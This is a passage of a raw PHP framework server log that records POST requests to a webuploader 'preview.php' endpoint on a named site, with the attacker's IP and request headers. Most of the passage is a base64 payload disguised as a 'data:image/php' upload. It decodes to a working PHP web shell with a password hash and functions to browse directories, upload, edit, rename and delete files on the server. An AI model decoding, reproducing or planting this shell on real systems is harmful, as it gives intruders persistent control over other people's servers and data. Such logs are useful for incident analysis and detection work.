k7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:30:21+08:00 ] 119.42.146.234 POST 51tianwei.com/static/webuploader/0.1.15/server/preview.php [运行时间:0.002797s] [吞吐率:357.51req/s] [内存消耗:196.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0c